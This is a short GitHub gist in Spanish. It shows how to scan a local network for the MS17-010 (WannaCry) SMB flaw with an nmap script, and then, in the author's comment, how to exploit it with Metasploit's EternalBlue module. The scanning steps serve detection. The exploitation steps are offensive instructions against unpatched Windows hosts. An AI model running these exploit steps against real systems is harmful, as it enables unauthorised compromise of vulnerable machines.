Skip to content

Instantly share code, notes, and snippets.

@yojota

yojota/wannaycry.txt

Last active Jun 5, 2017
Embed
What would you like to do?
Wannacry discover with nmap
Una forma de scanear la vulnerabilidad es utilizando nmap
Instalamos nmap:
#apt-get install nmap
Luego descarmos el script especifico para nmap
# cd /usr/share/nmap/scripts/
# wget https://raw.githubusercontent.com/cldrn/nmap-nse-scripts/master/scripts/smb-vuln-ms17-010.nse
# nmap -sC -p445 --open --max-hostgroup 3 --script smb-vuln-ms17-010.nse 192.168.0.1/24
@yojota

This comment has been minimized.

Copy link
Owner Author

@yojota yojota commented May 19, 2017

Para explotar la vulnerabilidad vamos a instalar metasploit
Pagina de referencia: https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

Dentro de Metasploit vamos a realizar los siguientes pasos

--> use auxiliary/scanner/smb/smb_ms17_010 (recuerden setiar el rhosts)
--> run
--> use windows/smb/ms17_010_eternalblue (recuerden setiar el rhosts)
---> exploit

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment